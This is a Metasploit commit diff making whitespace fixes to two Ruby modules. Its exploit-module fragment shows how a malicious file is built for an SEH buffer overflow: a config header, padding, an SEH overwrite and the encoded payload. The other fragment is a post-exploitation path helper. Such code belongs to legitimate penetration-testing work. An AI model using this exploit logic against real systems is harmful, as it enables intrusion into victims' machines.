Small msftidies

This commit is contained in:
Meatballs 2014-02-28 22:18:59 +00:00
parent 42a730745e
commit 63751c1d1a
No known key found for this signature in database
GPG Key ID: 5380EAF01F2F8B38
2 changed files with 3 additions and 3 deletions

View File

@ -22,7 +22,7 @@ class Metasploit3 < Msf::Exploit::Remote
'License' => MSF_LICENSE,
'Author' =>
[
'Mike Czumak', # (T_v3rn1x) -- @SecuritySift
'Mike Czumak', # (T_v3rn1x) -- @SecuritySift
'Fr330wn4g3 <Fr330wn4g3[at]gmail.com>' # Metasploit module
],
'References' =>
@ -64,7 +64,7 @@ class Metasploit3 < Msf::Exploit::Remote
buffer = "[Support Groups]\r\nVideo="
buffer << rand_text(target['Offset'])
buffer << generate_seh_payload(target.ret)
buffer << payload.encoded
buffer << payload.encoded
buffer << "\r\n[AssociateType]\r\nAssociateType =1"
file_create(buffer)

View File

@ -74,7 +74,7 @@ class Metasploit3 < Msf::Post
# Windows Vista and upwards points to ProgramData!
all_users = expand_path("%ALLUSERSPROFILE%")
if all_users.include? 'ProgramData'
if all_users.include? 'ProgramData'
all_users.gsub!('ProgramData','Users\\All Users')
else
all_users = "#{all_users}\\Application Data"